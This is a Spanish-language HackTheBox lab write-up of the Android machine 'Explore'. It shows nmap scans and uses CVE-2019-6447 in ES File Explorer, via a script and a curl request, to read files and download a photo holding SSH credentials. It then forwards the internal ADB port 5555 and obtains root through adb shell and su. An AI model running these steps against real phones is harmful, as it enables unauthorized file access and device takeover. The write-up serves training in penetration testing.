HackTheBox - Explore

Lanz
Funk Lanz el
HackTheBox - Explore

Máquina Android nivel fácil. Exploraremos como ningún explorador e.e Veremos imágenes de la galería 😧 y jugaremos con el demonio :o Android Debug Bridge.

356exploreHTB

TL;DR (Spanish writeup)

Creada por: bertolis.

La exploración insana.

Nos encontraremos con la app ES File Explorer siendo ejecutada en el celular, explorando tendremos que es vulnerable a una lectura arbitraria de archivos, jugando con ella veremos una imagen con unas credenciales del usuario kristi, usando SSH lograremos una sesión en el celuko.

Internamente tendremos el puerto 5555 activo, jugando con un redireccionamiento de puertos lograremos testear cositas como si fuéramos nosotros quienes estuviéramos corriendo el puerto.

Explorando en internet sabremos que sobre ese puerto se ejecuta un demonio 😳 llamado ADB (Android Debug Bridge) en Android, volviendo a explorar lograremos obtener una Shell como root gracias a que estamos corriendo el sistema Android en un entorno de “pruebas” (debug).

Clasificación de la máquina según la gentesita

Un poco juguetona, directa y en general tiene cositas reales, peeero también “cositas” (guiño)

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Souvenir…

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Enumeración de puertos con nmap 📌

No por ser un sistema operativo nuevo vamos a cambiar nuestro enfoque, nop e.e, vamos a ver primero que puertos tiene abiertos la máquina, así sabemos por donde debemos empezar a direccionar nuestros pensamientos, usaremos nmap para eso:

❱ nmap -p- --open -v 10.10.10.247 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Con ese escaneo obtenemos:

# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.247
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.247 ()	Status: Up
Host: 10.10.10.247 ()	Ports: 2222/open/tcp//EtherNetIP-1///, 42135/open/tcp/////, 46677/open/tcp/////, 59777/open/tcp/////
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 95.86 seconds
Puerto Descripción
2222 Ethernet/IP: (Ethernet = Protocolo que permite la conexión entre dispositivos pero en este caso del sector industrial (IP = Industrial Protocol)).
42135 No lo tenemos claro aún.
46677 No lo tenemos claro tampoco.
59777 Tamos igual, no sabemos que esta corriendo aún acá.

Listones, ya conociendo los puertos vamos a profundizar un toque más, así podemos descubrir la versión de cada servicio y si alguno de los scripts por default de nmap detecta algo nuevo:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.247
    [*] Open ports: 2222,42135,46677,59777

[*] Ports copied to clipboard

)~

❱ nmap -p 2222,42135,46677,59777 -sC -sV 10.10.10.247 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y este escaneo nos muestra:

# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p 2222,42135,46677,59777 -sC -sV -oN portScan 10.10.10.247
Nmap scan report for 10.10.10.247
Host is up (0.11s latency).

PORT      STATE SERVICE VERSION
2222/tcp  open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
42135/tcp open  http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
46677/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 23 Aug 2021 14:33:55 GMT
|     Content-Length: 22
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|   GetRequest: 
|     HTTP/1.1 412 Precondition Failed
|     Date: Mon, 23 Aug 2021 14:33:55 GMT
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.0 501 Not Implemented
|     Date: Mon, 23 Aug 2021 14:34:00 GMT
|     Content-Length: 29
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Method not supported: OPTIONS
|   Help: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 23 Aug 2021 14:34:16 GMT
|     Content-Length: 26
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: HELP
|   RTSPRequest: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 23 Aug 2021 14:34:00 GMT
|     Content-Length: 39
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     valid protocol version: RTSP/1.0
|   SSLSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 23 Aug 2021 14:34:16 GMT
|     Content-Length: 73
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ?G???,???`~?
|     ??{????w????<=?o?
|   TLSSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 23 Aug 2021 14:34:16 GMT
|     Content-Length: 71
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ??random1random2random3random4
|   TerminalServerCookie: 
|     HTTP/1.0 400 Bad Request
|     Date: Mon, 23 Aug 2021 14:34:16 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|_    Cookie: mstshash=nmap
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.80%I=7%D=8/23%Time=6123B07C%P=x86_64-pc-linux-gnu%r(NU
...
...cositasvariaslajlksjdfklajslfkdjluaioew
...
Service Info: Device: phone

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 109.84 seconds

Tenemos algunas cositas relevantes:

Puerto Servicio Versión
2222 SSH SSH-2.0
  • Un texto bastante curioso: Banana Studio.

Puerto Servicio Versión
42135 HTTP ES File Explorer Name Response httpd
59777 HTTP Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older

Bien, de nuestro escaneo inicial ya pasamos a algo muuucho más entendible y tenemos cositas para revisar, así que empecemos a explorar.

Enumeración #

Viendo que hay sobre el puerto 42135 📌

El escaneo nos indicó que ES File Explorer esta sobre un servidor web, pues investiguemos:

📖 ES File Explorer es una cómoda herramienta para la gestión de archivos y aplicaciones. ¿ES File Explorer?

F, no hay nada, peeeero responde, con lo cual esta funcionando…

Explotación #

Buscando en la web ES File Explorer Name Response de primeras nos encontramos un exploit:

Si nos fijamos es un exploit algo reciente, lo cual es llamativo, podemos inspeccionarlo…

La explotación la enfoca sobre el puerto 59777, que curiosamente también es un puerto que tenemos abierto 😮 así que probémoslo y si nos sirve detallamos un poco sobre que explota.

❱ python3 esFILExplorer_fileRead.py
USAGE esFILExplorer_fileRead.py <command> <IP> [file to download]

Recibe un comando y la dirección IP donde esté corriendo el puerto 59777:

❱ python3 esFILExplorer_fileRead.py whoami 10.10.10.247

No podemos ejecutar cualquier comando, solo los que nos lista, veamos la lista de archivos:

❱ python3 esFILExplorer_fileRead.py listFiles 10.10.10.247

OPAAAA, es funcional y estamos viendo los archivos del sistema Android. La petición es muy sencilla y viaja así, solo pasamos la data en formato JSON y nuestro comando en la etiqueta "command":

Y lo que hace el script es darle un formato “lindo” para mostrarlo…

Antes de seguir veamos un poquito de la vuln:

El CVE relacionado es CVE-2019-6447, del cual tenemos esta descripción según incibe-cert:

🗃️ La aplicación ES File Explorer File Manager hasta la versión 4.1.9.7.4 para Android permite que los atacantes remotos lean archivos arbitrarios o ejecuten aplicaciones mediante peticiones al puerto TCP 59777 en la red wifi local. Este puerto TCP se mantiene abierto después de que la aplicación ES se haya abierto una vez y responde a datos de la application/json no autenticados por HTTP. CVE-2019-6447

:o Acá encontramos otra referencia:

Tomada de github.com/fs0c131y/ESFileExplorerOpenPortVuln.

Loco loco, pues sigamos explorando el contenido del celular a ver queeeeeee…


Encontramos credenciales en una foto 📌

Al listar las imágenes (listPics) notamos un archivo con un nombre algo llamativo:

❱ python3 esFILExplorer_fileRead.py listPics 10.10.10.247

¿La ves? 👀

Hay un archivo con nombre creds.jpg, el exploit nos da la posibilidad de descargar el archivo (o también podríamos hacerlo con cURL, ya que al hacer una petición hacia él se ve tooooooodo el contenido del mismo, lo único a indicarle es que ese contenido lo guarde en un objeto), así que intentémoslo:

❱ python3 esFILExplorer_fileRead.py getFile 10.10.10.247
...
[+] Include file name to download.
❱ python3 esFILExplorer_fileRead.py getFile 10.10.10.247 creds.jpg
...
[-] You need to provide full path of the file.

Al listar las imágenes había una etiqueta llamada location, esa es la ruta absoluta del objeto y es la que nos pide:

❱ python3 esFILExplorer_fileRead.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg

Listones, guardao’:

❱ file out.dat 
out.dat: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=12, manufacturer=Apple, model=iPhone XR, orientation=upper-right, xresolution=174, yresolution=182, resolutionunit=2, software=14.4, datetime=2021:03:06 02:13:37, hostcomputer=iPhone XR, GPS-Data], comment: "Optimized by JPEGmini 3.18.2.210033067-TBTBLN 0x905c306b", baseline, precision 8, 4032x3024, components 3

(Tamos jugando con un iPhone XR e.e) Le cambiamos su nombre al real:

❱ mv out.dat creds.jpg

o con cURL:

❱ curl -H "Content-Type: application/json" http://10.10.10.247:59777/storage/emulated/0/DCIM/creds.jpg -o creds.jpg

Y ahora visualicémoslo… (Hay varias maneras para hacerlo desde la terminal, les dejo la tarea :P)

WHAAAAAAAAAAAAAAAAAAAAAAAT!! Tenemos realmente lo que parecen ser unas credencialeeeeeeeeees, el usuario kristi y su contraseña… A probarlaaaas.

Recordemos que tenemos abierto el puerto 2222 el cual esta corriendo el servicio SSH (que nos permite obtener una Shell en un sistema de manera segura) pues validémoslas ahí:

❱ ssh kristi@10.10.10.247 -p 2222

Listoooooooooooones, estamos dentro del sistema como un usuario llamado u0_a76 (:

Escalada de privilegios #

Enumerando los puertos (servicios) que están corriendo internamente encontramos:

:/ $ netstat -a
Active Internet connections (established and servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
...
tcp6       0      0 :::2222                 :::*                    LISTEN
tcp6       0      0 :::5555                 :::*                    LISTEN
tcp6       0      0 :::42135                :::*                    LISTEN
...
tcp6       0      0 :::59777                :::*                    LISTEN
tcp6       0      0 ::ffff:10.10.10.24:2222 ::ffff:10.10.14.8:49408 ESTABLISHED
...

Hay 3 puertos que ya vimos antes, pero el puerto 5555 es nuevo, para ver que contiene podemos hacer un port-fortwarding con ayuda de SSH para indicarle que redireccione el puerto 5555 interno contra uno de nuestra máquina. Así tendríamos el contenido de ese puerto sobre uno nuestro y podemos jugar como si nosotros estuviéramos sirviendo ese puerto (:

❱ ssh kristi@10.10.10.247 -p 2222 -L 5555:localhost:5555

Entonces, le indicamos la conexión normal por SSH, pero además que tome el puerto 5555 del localhost y lo direccione hacia el puerto 5555 pero de nuestro sistema, validémoslo:

❱ lsof -i:5555
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
ssh     491545 root    4u  IPv6 2244122      0t0  TCP localhost:5555 (LISTEN)
ssh     491545 root    5u  IPv4 2244123      0t0  TCP localhost:5555 (LISTEN)

Perfecto, ya lo tenemos en nuestro sistema, ahora si podemos jugar con él.

Usemos nmap para ver que esta corriendo ese puerto:

❱ nmap -p 5555 -sC -sV localhost -oN port5555Scan

Y obtenemos:

# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p 5555 -sC -sV -oN port5555Scan localhost
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE  VERSION
5555/tcp open  freeciv?
| fingerprint-strings: 
|   adbConnect: 
|     CNXN
|_    device::ro.product.name=android_x86_64;ro.product.model=VMware Virtual Platform;ro.product.device=x86_64;features=cmd,stat_v2,shell_v2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5555-TCP:V=7.80%I=7%D=8/23%Time=61242486%P=x86_64-pc-linux-gnu%r(ad
...
...
...
SF:hell_v2");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 94.78 seconds

nmap no esta seguro, pero nos indica que posiblemente sea un servicio llamado freeciv, si buscamos en internet sobre él encontramos:

🎮 Freeciv es un videojuego de estrategia. Es software libre gratuito y está incluido en numerosas distribuciones Linux.

Jmmmm, sigamos investigando…

Si hacemos una búsqueda tipo: port 5555 android en la web, llegamos a varios recursos que hablan del demonio Android Debug Bridge (ADB) corriendo sobre ese puerto, suena mejor, profundicemos…

📱 Android Debug Bridge (adb) es una herramienta de línea de comandos versátil que te permite comunicarte con un dispositivo. El comando adb permite realizar una variedad de acciones en el dispositivo, como instalar y depurar apps, y proporciona acceso a un Shell de Unix que puedes usar para ejecutar distintos comandos en un dispositivo. developer.android.com

Ufff una herramienta bien llamativa pa nosotros. En el mismo post nos indican su uso, para conectarnos al dispositivo ejecutamos:

(Si no la tienen instalada: apt install adb)

❱ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555

Para validar los dispositivos conectados:

❱ adb devices
List of devices attached
127.0.0.1:5555  device

Perfecto, funciona!

En la misma guía nos indica que para interactuar con el sistema podemos usar adb shell <comandos>, veamos que usuario somos:

❱ adb shell whoami
shell

:o somos el usuario shell, ahora intentemos spawnear una Shell :P

❱ adb shell /bin/sh

Perfeeeeeeecto…

(Intentando poner la terminal linda vemos en el manual de adb que simplemente ejecutando adb shell (sin argumentos) nos spawnea una Shell interactiva que de linda poco, pero al menos sabemos en qué parte debemos escribir 😁)

Ahora a enumerar…

Después de un rato vemos que podemos leer prácticamente lo mismo que con el anterior usuario :/ así que tamos F.

Buscando en internet port 5555 android exploit vemos cositas locaaas:

En los dos hacen el mismo proceso (quitando el fortwarding) y obtienen la Shell con adb shell, lo único llamativo es que indican que ejecutando directamente su obtienen una sesión como root, esto debido a que la versión de Android en la que están es la llamada AOSP (Android Open Source Project) que esta construida en modo “debug” (como entorno de pruebas).

Pues podemos probar nosotros a ver queeee:

OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKLSDJFLkhadslkf, pos también estamos en ese entorno (: Y somos root

Buscando y buscando encontramos las flags:

Y hemos terminado de mover cosas dentro del iPhone, ahora a revisar nuestro celular para validar que no tengamos alguien buscando flags 😳

Bonita experiencia, la explotación inicial de ES File Explorer me gusto mucho y a la vez me dio miedito, suuuuuuuuuuper sencillo el ver los objetos del celular con esa vuln :o

Nos seguiremos leiendo por ahí e.e, toma agua, descansa los ojos, pero pilas, a seguir rompiendo de TODO!!

Comments

comments powered by Disqus